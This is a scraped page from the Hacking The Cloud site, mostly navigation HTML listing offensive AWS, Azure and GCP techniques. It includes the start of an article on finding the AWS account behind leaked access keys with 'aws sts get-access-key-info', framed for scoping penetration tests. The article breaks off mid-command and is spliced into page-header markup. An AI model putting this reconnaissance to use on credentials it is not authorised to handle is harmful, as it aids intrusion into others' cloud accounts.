<a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#stsgetaccesskeyinfo class=md-nav__link> <span class=md-ellipsis> sts:GetAccessKeyInfo </span> </a> </li> <li class=md-nav__item> <a href=#decode-the-access-key class=md-nav__link> <span class=md-ellipsis> Decode the access key </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/enumeration/get-account-id-from-keys.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Get Account ID from AWS Access Keys</h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 4a4 4 0 0 1 4 4 4 4 0 0 1-4 4 4 4 0 0 1-4-4 4 4 0 0 1 4-4m0 10c4.42 0 8 1.79 8 4v2H4v-2c0-2.21 3.58-4 8-4"/></svg></span> <strong>Original Research</strong></p> <hr> <ul> <li><a href=https://awsteele.com/blog/2020/09/26/aws-access-key-format.html>AWS Access Key ID Formats</a> by <a href=https://twitter.com/__steele>Aidan Steele</a></li> <li><a href=https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489>A short note on AWS KEY ID</a> by <a href=https://twitter.com/TalBeerySec>Tal Be'ery</a></li> </ul> </li> </ul> </div> <p>While performing an assessment in AWS environments it is not uncommon to come across access keys and not know what account they are associated with. If your scope is defined by the AWS account ID, this may pose a problem as you'd likely not want to use them if they are out of scope.</p> <p>To solve this problem, there are multiple ways to determine the account ID of IAM credentials.</p> <h2 id=stsgetaccesskeyinfo>sts:GetAccessKeyInfo<a class=headerlink href=#stsgetaccesskeyinfo title="Permanent link">&para;</a></h2> <p>Likely the most straightforward way is to use <a href=https://docs.aws.amazon.com/STS/latest/APIReference/API_GetAccessKeyInfo.html>sts:GetAccessKeyInfo</a> to return the account ID of the credentials. This action will only be logged to the account calling the action (which should be your account, not the target's).</p> <div class=highlight><pre><span></span><code>user@host:~$ aws sts get-access-key-info --access-key-id=ASIA1234567890123456
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#stsgetaccesskeyinfo class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 